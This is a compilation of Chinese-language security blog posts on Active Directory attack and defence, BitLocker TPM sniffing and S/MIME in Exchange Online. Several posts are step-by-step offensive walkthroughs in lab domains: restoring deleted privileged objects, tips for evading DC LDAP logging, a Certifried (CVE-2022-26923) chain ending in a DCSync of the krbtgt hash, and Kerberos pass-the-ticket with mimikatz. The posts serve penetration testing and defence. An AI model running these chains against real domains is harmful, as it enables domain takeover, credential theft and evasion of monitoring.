文章 | 卡瓦特网络安全公司

你查过回收站了吗？从Active Directory回收站挖掘权限提升

Wed, 25 Jun 2025 00:00:00 +0000

“你查过回收站了吗？”

这是我们许多人从小听到的一句话——通常是在我们找不到明明就在眼前的东西时。在网络安全领域，这句话比以往任何时候都更真实，尤其是在Active Directory环境中。

Active Directory回收站通常被视为安全网——一个删除对象在永久删除前暂时存放的地方。但对攻击者来说，这里可能是机会的宝库。被删除的用户、组等对象可能仍然保留关键属性，可被用于权限提升、横向移动或持久化。

本文将深入探讨AD回收站的工作原理，攻击者如何利用它获取更高权限，以及防御者如何检测和缓解这些风险。

了解Active Directory回收站

Active Directory回收站自Windows Server 2008 R2引入，旨在让对象恢复更简单、更安全。该功能需显式启用，且一旦启用无法撤销。当对象（如用户或组）被删除时，并不会立即清除——而是被标记为“已删除”，并移动到隐藏容器。这样会保留所有属性，如组成员、权限和SID历史，便于一键恢复。

已删除对象的默认保留期为180天，由_Directory Service_对象（CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=example,DC=com）的tombstoneLifetime属性定义，除非被_msDS-DeletedObjectLifetime_覆盖。如果都未定义，Windows 2000–2008 Server为60天，2008 R2及以后仅2天。
保留期过后，_已删除对象_变为回收状态，_isRecycled_属性设为TRUE。此时对象不再包含全部属性数据，只能通过直接操作AD快照的工具恢复。此状态用于通知其他域控对象已被删除。

微软对象生命周期图

如果未启用回收站或服务器版本低于2008 R2，对象会被_tombstoned_而不是_deleted_。Tombstoned对象看起来类似于回收对象，但可恢复。然而，它们大部分属性会被剥离，仅保留_ObjectSID_、nTSecurityDescriptor（ACL仍然有效），以及自Windows 2003起的sIDHistory，但会丢失所有组成员关系。

然而，这种便利带来了隐藏的安全盲点。许多组织认为已删除对象无害，但它们仍可被查询、恢复，甚至被滥用，如果未妥善管理。

要点：

已删除对象保留所有属性（包括敏感属性）
Tombstoned对象保留最重要的属性
存储于CN=Deleted Objects容器
若未被回收或永久删除，可恢复全部权限

权限提升途径

攻击者若获得AD读取权限，可枚举已删除对象，寻找权限提升机会。例如：

SID历史滥用： 已删除/tombstoned对象可能保留SID历史，从而获得特权对象的权限。
组成员关系： 恢复已删除对象可重新获得对敏感资源的访问，因为其组成员关系会恢复。
ACL与委派： 已删除/tombstoned对象可能仍被ACL引用或拥有Kerberos委派，允许间接访问或控制。
敏感信息： 已删除对象可能包含敏感信息，如description、info或自定义属性中的明文密码。

还有更多滥用可能（如GPO、OU等），这些途径常被传统审计忽略，使回收站成为隐蔽的攻击面。

前提条件

要列出已删除对象，主体需对_Deleted Objects_容器有LIST_CHILD权限，并使用特殊LDAP控制OID 1.2.840.113556.1.4.2064（显示已删除、tombstoned和回收对象）：

# 使用bloodyAD列出已删除对象
$ bloodyAD -u Administrator -d bloody -p 'Password123!' --host 192.168.100.3 get search -c 1.2.840.113556.1.4.2064 --resolve-sd --attr ntsecuritydescriptor --base 'CN=Deleted Objects,DC=bloody,DC=corp' --filter "(objectClass=container)"

distinguishedName: CN=Deleted Objects,DC=bloody,DC=corp
[...]
nTSecurityDescriptor.ACL.0.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.0.Trustee: john
nTSecurityDescriptor.ACL.0.Right: LIST_CHILD
nTSecurityDescriptor.ACL.0.ObjectType: Self
[...]

$ bloodyAD -u john -d bloody -p 'Password123!' --host 192.168.100.3 get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)' --attr name

distinguishedName: CN=test_pc\0ADEL:db0e6105-73a0-44e6-b9ad-a546af714ae5,CN=Deleted Objects,DC=bloody,DC=corp
name: test_pc
DEL:db0e6105-73a0-44e6-b9ad-a546af714ae5

distinguishedName: CN=test_pc2\0ADEL:c535b0ea-c822-4920-9452-292824d1f091,CN=Deleted Objects,DC=bloody,DC=corp
name: test_pc2
DEL:c535b0ea-c822-4920-9452-292824d1f091

distinguishedName: CN=test_pc3\0ADEL:c9e8a129-f77f-4159-b700-3c8fd06963fe,CN=Deleted Objects,DC=bloody,DC=corp
name: test_pc3
DEL:c9e8a129-f77f-4159-b700-3c8fd06963fe
[...]

要恢复对象，主体需具备：

域对象上的Restore Tombstoned权限
已删除对象上的Generic Write权限
用于恢复的OU上的Create Child权限
（提示：可用--newParent参数指定有权限的OU）

# 检查恢复权限
$ bloodyAD --host 192.168.100.3 -d bloody -u john -p 'Password123!' get object 'DC=bloody,DC=corp' --attr ntsecuritydescriptor --resolve-sd

distinguishedName: DC=bloody,DC=corp
[...]
nTSecurityDescriptor.ACL.4.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.4.Trustee: john
nTSecurityDescriptor.ACL.4.Right: CONTROL_ACCESS
nTSecurityDescriptor.ACL.4.ObjectType: Reanimate-Tombstones
[..]

$ bloodyAD -u john -d bloody -p 'Password123!' --host 192.168.100.3 get search -c 1.2.840.113556.1.4.2064 --filter '(&(isDeleted=TRUE)(sAMAccountName=test_pc3$))' --attr ntsecuritydescriptor --resolve-sd

distinguishedName: CN=test_pc3\0ADEL:c9e8a129-f77f-4159-b700-3c8fd06963fe,CN=Deleted Objects,DC=bloody,DC=corp
nTSecurityDescriptor.Owner: Domain Admins
nTSecurityDescriptor.Control: DACL_PRESENT|SELF_RELATIVE
[...]
nTSecurityDescriptor.ACL.28.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.28.Trustee: john
nTSecurityDescriptor.ACL.28.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.28.ObjectType: Self
nTSecurityDescriptor.ACL.28.Flags: CONTAINER_INHERIT; INHERITED
[...]

$ bloodyAD --host 192.168.100.3 -d bloody -u john -p 'Password123!' get object 'CN=Users,DC=bloody,DC=corp' --attr ntsecuritydescriptor --resolve-sd

distinguishedName: CN=Users,DC=bloody,DC=corp
nTSecurityDescriptor.Owner: Domain Admins
nTSecurityDescriptor.Control: DACL_AUTO_INHERITED|DACL_PRESENT|SACL_AUTO_INHERITED|SELF_RELATIVE
[...]
nTSecurityDescriptor.ACL.3.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.3.Trustee: john
nTSecurityDescriptor.ACL.3.Right: CREATE_CHILD
nTSecurityDescriptor.ACL.3.ObjectType: Self
nTSecurityDescriptor.ACL.3.Flags: CONTAINER_INHERIT
[...]

默认情况下，只有域管理员可以列出和恢复已删除对象。

SharpHound即使以域管理员身份运行，也不会收集已删除对象，尽管文档中提到可以（见BloodHound文档）。
因此BloodHound CE 无法检测已删除对象带来的权限提升机会。

真实场景

一旦攻击者确保对已删除对象、OU和Restore Tombstoned权限具备足够权限：

$ bloodyAD --host 192.168.100.3 -d bloody -u john -p 'Password123!' get writable --include-del
[...]
distinguishedName: CN=garbage.admin\0ADEL:c9e8a129-f77f-4159-b700-3c8fd06963fe,CN=Deleted Objects,DC=bloody,DC=corp
permission: WRITE
[...]
DistinguishedName: CN=Users,DC=bloody,DC=corp
permission: CREATE_CHILD

即可通过sAMAccountName或objectSID轻松恢复对象：

$ bloodyAD -u john -d bloody -p 'Password123!' --host 192.168.100.3 set restore 'S-1-5-21-1394970401-3214794726-2504819329-1104'

[+] S-1-5-21-1394970401-3214794726-2504819329-1104 已成功恢复到 CN=garbage.admin,CN=Users,DC=bloody,DC=corp

场景示例：

场景1：恢复已删除的管理员用户
攻击者拥有恢复权限后，恢复一个被删除的域管理员账户。由于该账户保留SID和组成员关系，立即恢复高权限。
场景2：SID历史注入
恢复带有特权SID历史的已删除用户对象，用于绕过组成员检查。
场景3：ACL利用
已删除组仍被关键资源的ACL引用。攻击者恢复该组并将自己加入，从而获得访问权限。

有一台HTB靶机叫TombWatcher可供练习。

检测与防御

为防御这些威胁，安全团队可：

监控恢复操作
跟踪谁何时恢复了对象。可通过事件日志和SIEM集成实现。
通过事件日志中的 A directory service object was undeleted 事件5138进行监控：
- 无论是否启用回收站，都需启用Directory Service Changes审计：
```
AuditPol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
```
- 或通过组策略：
  计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 审核策略 > DS访问启用审核目录服务更改
- 容器（如CN=Users）或域对象需配置SACL以审计创建操作。使用Active Directory用户和计算机（ADUC）并启用高级功能，右键容器→属性→安全→高级→审核，添加“创建所有子对象”审核项（域对象请启用继承）
然后在事件查看器 > Windows日志 > 安全 > 事件5138中查看：
清理敏感属性
删除前，移除对象的特权组成员关系和SID历史。

调整保留期
默认保留期为180天，可根据公司策略通过以下属性调整：

$ bloodyAD -u Administrator -d bloody -p 'Password123!' --host 192.168.100.3 set object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=bloody,DC=corp' tombstoneLifetime -v 60
[+] CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=bloody,DC=corp 的 tombstoneLifetime 已更新

$ bloodyAD -u Administrator -d bloody -p 'Password123!' --host 192.168.100.3 set object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=bloody,DC=corp' msDS-DeletedObjectLifetime -v 30
[+] CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=bloody,DC=corp 的 msDS-DeletedObjectLifetime 已更新

强制回收状态
对于敏感对象，可通过再次删除使其进入回收状态：

Get-ADObject -Filter {isDeleted -eq $True -and samaccountname -eq "recycletest"} -IncludeDeletedObjects | Remove-ADObject

仅在启用回收站时可用。

限制恢复权限
仅可信管理员应有恢复对象的权限。

结论

AD回收站不仅仅是个便利功能——它也是潜在的攻击面。通过“查找回收站”，攻击者能发现防御者常常忽略的权限提升路径。通过适当的审计、监控和策略，组织可以将这一隐藏风险转化为可控风险。

像忍者一样执行 AD LDAP 查询

Tue, 24 Dec 2024 00:00:00 +0000

不久前，一位蓝队成员联系了我，他很尴尬，因为他能够检测到 SharpHound 的 LDAP 查询，但在他的 SIEM 中找不到使用（我开发的一个 AD 审计工具）进行的 LDAP 查询的任何痕迹。我感到困惑并想进一步调查，但后来忘记了，直到最近 😅。在为我的工具开发新功能时，我意识到我无法在域控制器 (DC) 日志中看到任何 LDAP 查询来帮助我调试。

Active Directory 中的 LDAP 日志记录

据我所知，有三种（如果我遗漏了，请告诉我）：

客户端日志记录：Microsoft-Windows-LDAP-Client - Event ID 30
当通过 wldap32.dll 使用 LDAP 客户端 API 访问 LDAP 时，此日志记录详细信息，例如启动进程、搜索条目、过滤器和搜索范围。
网络嗅探：捕获 LDAP 流量。
DC 端日志记录：Microsoft-Windows-ActiveDirectory_DomainService - Event ID 1644
此日志记录来自所有交互主机的域控制器的昂贵、低效或缓慢的 LDAP 查询。

绕过 LDAP 日志记录

客户端日志记录：通过不在受监控的机器上或使用不调用 wldap32.dll 执行 LDAP 查询的工具（例如，Python 工具如或）轻松绕过。\
网络嗅探：通过 LDAP 会话加密绕过，这是和任何使用 Windows 库的工具的默认设置（不需要 LDAPS 进行加密）。
DC 端日志记录：如果严格配置，则无法绕过日志记录。然而，严格配置比预期更复杂，这就是为什么绕过了蓝队成员的检测能力。

更深入地了解 DC 上的 LDAP 日志记录

默认情况下，。要启用日志记录，请将以下注册表键设置为 5：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\Field Engineering

然而，只有某些查询会以这种方式记录。此日志记录功能旨在检测昂贵和低效的 LDAP 查询，而不是威胁。默认的阈值如下：

（默认 10000）：如果 LDAP 查询访问的条目超过 10,000，则被认为是_昂贵的_。
（默认 1000）：如果搜索访问的条目超过 1,000 且返回的条目少于访问条目的 10%，则被认为是_低效的_。
搜索时间阈值（默认 30 秒）：如果 LDAP 查询耗时超过 30 秒，则被认为是昂贵/低效的。

这些可以通过创建以下注册表键并设置更低的值来修改：

注册表路径	数据类型	默认值
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Search Time Threshold (msecs)`	DWORD	30,000
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Expensive Search Results Threshold`	DWORD	10,000
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Inefficient Search Results Threshold`	DWORD	1,000

直观的方法是将所有值设置为 0 以便能够看到每个 LDAP 查询，但实际上根据我的经验，如果这样做，Windows 将忽略这些值并使用默认值。这是解释为什么某些威胁检测工具对某些 LDAP 查询视而不见的棘手部分。

正确的做法是仅创建 昂贵的搜索结果阈值 注册表键并将其设置为 1。在这些设置下，即使是也无法绕过 LDAP 检测！

您还可以为每个对象设置审计策略，但我将在另一篇文章中讨论。

结论

正确记录 LDAP 查询以检测威胁比看起来更复杂。蓝队成员在设置时应小心。对于红队成员，这里有一些提示可以降低 LDAP 查询（尤其是像这样的标记查询）的检测概率：

避免在受监控的机器上使用 wldap32.dll
使用支持 LDAP 加密的工具
缩小 LDAP 查询的基础范围以保持在阈值以下（例如，在 CN=Users,Dc=bloody,DC=corp 上执行 AS-REP roastable users 搜索，而不是在 DC=bloody,DC=corp 上）

以上就是这篇文章的全部内容，希望能帮助您更好地理解 AD 环境中的 LDAP 查询检测。

启用了 BitLocker。你真的受到保护了吗？

Tue, 26 Nov 2024 00:00:00 +0000

周五晚上，你刚刚结束了一天的工作。你决定在楼下的酒吧喝一杯放松一下，然后再回家。一切都很顺利，你放松地享受着夜晚，但当你再次看向公文包时，它已经不见了。不幸的是，它里面装有敏感数据。然而还有希望，因为你用 BitLocker 加密了硬盘！但 BitLocker 真能保护你吗？让我们仔细看看。

什么是 BitLocker？

BitLocker 是自 Windows Vista 起提供的一项 Windows 功能，它允许你加密磁盘存储，以避免数据被盗或暴露的风险。

如果没有配置身份验证因素，它的设置非常简单且对用户透明。如果你不确定电脑上是否启用了 BitLocker，可以在控制面板中检查：

BitLocker 如何工作？

BitLocker 使用一个称为卷主密钥 (VMK) 的密钥来加密和解密磁盘。问题是如何存储这个 VMK 以防止它被轻易获取？
如果将其存储在磁盘上，我们只需将磁盘插入另一台电脑并检索 VMK 即可解密整个磁盘。相反，如果你的电脑配备了一个（如今大多数电脑都有），密钥将存储在一个称为可信平台模块 (TPM) 的安全组件中。

什么是 TPM？

可信平台模块 (TPM) 是一种专门设计用于管理加密密钥的微控制器。它大约在 2005 年开始出现在电脑中。实际上，电脑需要一个能够保守秘密且无法被破坏的组件，无论它落入谁的手中。
类似的要求也适用于银行卡，银行希望确保卡内的秘密无法被提取。
当向 TPM 请求密钥时，TPM 将通过不同的方法验证你是否是合法用户。对于 BitLocker，如果启用了安全启动，它将验证电脑的固件和软件是否未被恶意修改。

保护还是不保护？

好了，说了这么多，我们现在知道 VMK 安全地存储在 TPM 中，并且只能由合法的 BitLocker 检索。那么会出什么问题呢？
实际上，攻击者可能会执行所谓的 TPM 嗅探，即在 BitLocker 想要解密驱动器时窃听 BitLocker 和 TPM 之间的通信。

但你需要知道 TPM 有两种主要类型：

固件 TPM：这种 TPM 运行在 CPU 内部。
离散 TPM：这种 TPM 是主板上的一个芯片。

正如你可能已经猜到的，窃听固件 TPM 几乎是不可能的，但对于离散 TPM，一些网络教程、动机和大约 500 至 1500 美元的设备就可以大显身手！你只需识别主板上的 TPM 芯片并将探针焊接到 TPM 的引脚上，就可以开始了！

要确定你拥有哪种类型的 TPM，没有直接的方法。你可以尝试使用 Windows 的 tpm.msc 工具并搜索与制造商和版本匹配的 TPM：

如果这不起作用，你可能需要检查笔记本电脑的规格。

即使你有一个 离散 TPM，仍然有希望。实际上，BitLocker 允许你添加一个身份验证因素，例如 PIN 或启动密钥。在这种情况下，只有在提供正确的因素时，TPM 才会允许请求 VMK。否则，TPM 不会提供任何信息！
暴力破解因素不是一个可行的选项，因为这需要向 TPM 发送请求，这将需要篡改固件或软件。如前所述，对这些组件的任何修改都会阻止 TPM 响应。
因此，唯一的方法是诱骗用户在设置了监听探针的情况下输入其 PIN，但这种情况非常不可能。
瑞士 Orange Cyberdefense 攻击团队的一篇精彩文章对此进行了很好的解释。

总结

正如你所见，BitLocker 并非完美无缺，但它已经为防止数据被盗提供了额外的安全层，尤其是如果你拥有固件 TPM。此外，还可以添加 PIN 或启动密钥以增强安全性。
此流程图简要概述了 BitLocker 的安全性：

在Exchange Online和OWA中实现S/MIME

Thu, 14 Nov 2024 00:00:00 +0000

啊，电子邮件，发明于20世纪末，至今仍是沟通的基石。然而，随着安全需求的增加，我们必须找到新的方法来确保电子邮件通信的安全。为什么？因为电子邮件服务器使用SMTP协议来交换邮件，这是一个未加密的协议，因此我们无法保证机密性和真实性。虽然我们可以通过SMTPS或STARTTLS将其包装在TLS中，但如果您使用的是Exchange Online，而收件方的邮件服务器不支持TLS，那么通信将是简单的未加密SMTP。

这就是像S/MIME（安全/多用途互联网邮件扩展）这样的标准来拯救我们的地方！使用这个标准，您可以在发送邮件之前使用您的私钥对邮件进行签名，收件人可以通过您的公钥验证签名（公钥需要通过其他安全方式与收件人交换）。您还可以使用收件人的公钥加密邮件，以确保只有该收件人可以打开它。

然后您可能会说，这个小故事很有趣，但我该如何实现呢？您可以在每个支持它的电子邮件客户端上实现S/MIME，比如旧版Outlook，但这样您需要在每个电子邮件客户端上添加联系人公钥，这可能有点繁琐，但确实可行！另外需要注意的是，新版Outlook尚不支持S/MIME，但预计将在2024年11月内支持它。然而，如果您使用的是Exchange Online，您可以为所有联系人一次性在服务器上设置公钥！但这并不是魔法，每个用户仍然需要在其设备上本地安装自己的私钥。

在本文中，我们将看到如何在Exchange Online和Outlook on the Web（OWA）上实现它。

在本地机器上安装私钥

为OWA安装S/MIME控件

首先，您需要在浏览器上安装S/MIME控件（截至目前，它仅支持Edge和Chrome），以便OWA可以调用本地机器的Windows API来使用安装在其上的私钥加密/签名邮件。

打开outlook.office.com，点击右上角的齿轮图标进入设置
点击Mail > SMIME，然后点击链接click here安装浏览器扩展
安装浏览器扩展后，返回设置页面，点击链接click here下载并安装控件扩展SmimeOutlookWebChrome.msi。
完成后，重启浏览器，确保这些选项框不再灰显。

安装您的S/MIME证书

如果您还没有证书，您需要申请一个。您可以向公共CA（证书颁发机构）申请，但除了Actalis，我不知道其他免费的公共CA提供S/MIME证书。您也可以向自己的私有CA申请（例如使用openssl），但随后您需要将私有CA的公证书导入crtmngr。

然后，您需要在浏览器的机器上安装您的证书：

双击您的.p12证书，按照向导操作并提供证书密码：
安装完成后，从Windows搜索栏打开Manage User Certificate工具：
转到证书安装的文件夹，应该是Personal > Certificates：
右键点击您的证书，选择All Tasks > Export：
按照向导操作，将证书保存为.der格式，稍后需要将公钥上传到Exchange Online。

将信任链上传到Exchange Online

与Windows不同，Exchange Online没有预装的证书颁发机构。您需要将每个可以验证最终用户和联系人证书的证书颁发机构推送到Exchange Online。

再次打开usercrtmngr，双击最终用户证书
在Certification Path选项卡中，您将看到验证最终用户证书的所有证书，这称为信任链
确保所有这些证书在同一个文件夹中，或者将不在当前文件夹中的证书复制到当前文件夹，以便稍后打包
对所有最终用户和联系人重复上述步骤
使用ctrl+左键点击选择信任链中的每个证书（如果信任链中只有一个证书，请再包含另一个证书，以便能够将列表导出为.sst）
右键点击选中的一个证书，选择All Tasks > Export，按照向导操作并选择.sst格式
使用Powershell 7（低于7会出现错误unable to find type [uint]）：

Install-Module ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName <exchangeadmin_for_yourdomain>
Set-SmimeConfig -SMIMECertificateIssuingCA ([System.IO.File]::ReadAllBytes('C:\Users\Gold\Downloads\chainOfTrust.sst'))

等待一段时间以便修改传播

太好了！我们现在已经可以在OWA中签名和解密邮件了，那么如何加密或验证邮件签名呢？

在Exchange Online上安装公钥

这一部分文档不多，尤其是为Exchange Online外部联系人添加公钥的用例，我没有找到相关文档，但它确实可行！那么让我们开始吧。

收集您的联系人公钥，格式为DERv3（如安装您的S/MIME证书第5步所述）
使用以下Powershell代码将每个DERv3打包为.sst：

$certArray = New-Object System.Collections.ArrayList
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("D:\Gold\Documents\VM-apps\baptiste@cravaterouge.com.cer") <- DERv3格式
$certArray.Insert(0, $cert.GetRawCertData())

如果联系人属于同一个Exchange Online，使用以下Powershell命令：

Set-Mailbox -Identity baptiste -UserCertificate $certArray

如果联系人是此Exchange Online外部的，使用以下命令：

# 如果联系人尚未创建，请使用此命令
New-MailContact -Name CravateRouge_SMIME -ExternalEmailAddress baptiste@cravaterouge.com
Set-MailContact -Identity CravateRouge_SMIME -UserCertificate $certArray

确保证书已正确更新，通过验证Get-Mailbox/Get-MailContact -Identity CravateRouge | select UserCertificate返回的二进制数据与$cert.GetRawCertData()相同
要向这些联系人发送邮件，您必须从GAL联系人中选择它们，并使用您在上述Powershell命令中指定的确切标识名称。例如，要向__Baptiste__发送邮件，我必须使用名为__CravateRouge_SMIME__的联系人，而不是直接输入__baptiste@cravaterouge.com__或使用其他联系人卡片，即使它具有相同的电子邮件地址。

结果

您现在可以签署每封邮件，以向收件人证明您是原始发送者，并解密发送给您的邮件
您还可以加密/验证您添加到Exchange Online的联系人的邮件

即使一切正常，您在向外部客户端发送加密邮件时可能仍会收到错误消息。别担心，这只是微软的一个bug，因为此功能尚未完全支持。

利用 Certifried (CVE-2022-26923)

Sat, 11 May 2024 00:00:00 +0000

最近，微软修复了 Certifried (CVE-2022-26923) 漏洞，并发布了这篇博客文章。以下是如何使用 bloodyAD 在不使用 PKINIT 的情况下利用此漏洞的示例。

Linux

我们需要一台机器，可以是已被攻陷的机器，也可以在 ms-DS-MachineAccountQuota > 0 的情况下创建一台：

> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 get object 'DC=crashlab,DC=local' --attr ms-DS-MachineAccountQuota

distinguishedName: DC=crashlab,DC=local
ms-DS-MachineAccountQuota: 10

我们在 LDAP 中创建一个名为 cve 的计算机对象：

> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 addComputer cve 'CVEPassword1234*'

[+] cve created

然后，我们更改 dNSHostName 属性（创建对象时为空），使其与域控制器的计算机名称匹配：CRASHDC.crashlab.local。

> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 set object 'CN=cve,CN=Computers,DC=crashlab,DC=local' dNSHostName -v CRASHDC.crashlab.local

[+] CN=cve,CN=Computers,DC=crashlab,DC=local's dnsHostName has been updated

验证属性是否已正确配置：

> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 get object 'CN=cve,CN=Computers,DC=crashlab,DC=local' --attr dNSHostName

distinguishedName: CN=cve,CN=Computers,DC=crashlab,DC=local
dNSHostName: CRASHDC.crashlab.local

接下来，我们使用 Certipy 请求 cve 计算机的证书：

# 10.100.10.13 is the ADCS server
> certipy req 'crashlab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.100.10.12 -ca crashlab-ADCS-CA
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 12
[*] Got certificate with DNS Host Name 'CRASHDC.crashlab.local'
[*] Saved certificate and private key to 'crashdc.pfx'

现在，我们尝试使用 Certipy 和之前请求的证书获取 TGT：

> certipy auth -pfx ./crashdc.pfx -dc-ip 10.100.10.12
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: crashdc$@crashlab.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

如果 PKINIT 在此 AD 上不可用，我们可以尝试使用 bloodyAD 的证书认证功能和 RBCD 技术：

> openssl pkcs12 -in crashdc.pfx -out crashdc.pem -nodes
> python bloodyAD.py -d crashlab.local -c ":crashdc.pem" -u 'cve$' --host 10.100.10.12 add rbcd 'CRASHDC$' 'CVE$'
[+] CVE$ SID is: S-1-5-21-1945936656-2616711065-1665664270-1134
[+] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity correctly set 
[+] Delegation rights modified successfully!
CVE$ can now impersonate users on CRASHDC$ via S4U2Proxy

设置委派权限后，我们可以使用 impacket 的 getST.py 工具冒充域管理员（在本例中为 emacron）并获取 TGT：

> getST.py -spn LDAP/CRASHDC.CRASHLAB.LOCAL -impersonate emacron -dc-ip 10.100.10.12 'crashlab.local/cve$:CVEPassword1234*'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating emacron
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in emacron.ccache

> cp emacron.ccache /tmp/
> export KRB5CCNAME=/tmp/emacron.ccache

最后，我们使用 impacket 的 secretsdump.py 工具，通过获取的 TGT 执行 DCSync：

> secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'crashlab.local/emacron@crashdc.crashlab.local' -k -no-pass -dc-ip 10.100.10.12 -target-ip 10.100.10.12
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:492850f62466ef2bd1f4a56f112e01f1::: (status=Disabled)
[*] Cleaning up...

玩转 Kerberos

Tue, 05 Mar 2024 00:00:00 +0000

⚠️ 自从提交 54babd7 起，支持在没有 LDAPS 的情况下交换敏感信息。

大多数情况下，我使用 NTLM 认证，但在某些情况下，我们只有 Kerberos 的 TGT 或 ST，如果不利用它来尝试提升我们在 AD 中的权限，那就太可惜了。那么让我们看看如何使用 bloodyAD 来实现这一点。

Linux

# Get a TGT (For GSSAPI the server name must be the FQDN)
$ getTGT.py -dc-ip 192.168.10.2 bloody.local/Administrator:p@ssw0rd
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

2022-05-05 10:11:19.028227
[*] Saving ticket in Administrator.ccache

# Get a ST (For GSSAPI the spn is case sensitive)
$ getST.py -no-pass -k -dc-ip 192.168.10.2 -spn ldap/win-ij5b521uo5l.bloody.local "BLOODY.LOCAL/Administrator"
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Getting ST for user
[*] Saving ticket in Administrator.ccache

# Use bloodyAD with Kerberos auth (using a TGT or a ST)
## Add the credential cache generated in the default path
$ export KRB5CCNAME="Administrator.ccache"

## Check if the ticket is in default path, not expired, for the right client/server
$ klist
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@BLOODY.LOCAL

Valid starting Expires Service principal
05/05/2022 19:42:54 06/05/2022 05:42:54 krbtgt/BLOODY.LOCAL@BLOODY.LOCAL
 renew until 06/05/2022 19:42:55

## If your DNS doesn't resolve
## Note: second level domain name with ".local" added to /etc/hosts doesn't resolve on some Manjaro versions
# see https://forum.manjaro.org/t/mapping-for-etc-hosts-entries-with-local-as-tld-isnt-working/116021
$ sudo echo "192.168.10.2 win-ij5b521uo5l.bloody.local bloody.local" >> /etc/hosts

## And now the magic happens
$ python bloodyAD.py -k -d bloody.local -u Administrator --host WIN-IJ5B521UO5L.bloody.local get object 'DC=bloody,DC=local' --attr msDS-Behavior-Version

distinguishedName: DC=bloody,DC=local
msDS-Behavior-Version: DS_BEHAVIOR_WIN2016

Windows

以下代码演示了如何在 Windows 环境中生成 Kerberos TGT 和 ST，以及它们如何被 bloodyAD 使用。当然，在大多数情况下，您已经有了可用的票据。在这种情况下，直接跳到 bloodyAD 部分。

# Get a TGT
(venv) PS > python .\venv\Scripts\getTGT.py -dc-ip 192.168.10.2 bloody/Administrator:p@ssw0rd
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in Administrator.ccache

# Get a ST from the TGT
(venv) PS > ren Administrator.ccache adminTGT.ccache
(venv) PS > $env:krb5ccname="adminTGT.ccache"
(venv) PS > python .\venv\Scripts\getST.py -no-pass -k -dc-ip 192.168.10.2 -spn ldap/WIN-IJ5B521UO5L.bloody.local "BLOODY/Administrator"
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Getting ST for user
[*] Saving ticket in Administrator.ccache

# Use bloodyAD with Kerberos auth (using a TGT or a ST)
## First convert ccache in kirbi if necessary
(venv) PS > python .\venv\Scripts\ticketConverter.py Administrator.ccache Administrator.kirbi
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] converting ccache to kirbi...
[+] done

## Inject the ticket in memory if needed
(venv) PS > .\mimikatz.exe "kerberos::ptt d:\gold\documents\bloodyAD\Administrator.kirbi"

 .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ## > https://blog.gentilkiwi.com/mimikatz
 '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
 '#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # kerberos::ptt d:\gold\documents\bloodyAD\Administrator.kirbi

* File: 'd:\gold\documents\bloodyAD\Administrator.kirbi': OK

## Check if the ticket is in memory, not expired, for the right client/server
(venv) PS > klist

Current LogonId is 0:0x75af1

Cached Tickets: (1)

#0> Client: Administrator @ BLOODY.LOCAL
 Server: ldap/WIN-IJ5B521UO5L.bloody.local @ BLOODY.LOCAL
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x804a0000 -> reserved initial 0xa0000
 Start Time: 5/4/2022 18:56:50 (local)
 End Time: 5/5/2022 4:54:52 (local)
 Renew Time: 0
 Session Key Type: RSADSI RC4-HMAC(NT)
 Cache Flags: 0
 Kdc Called:

## Install winkerberos > 0.9.0
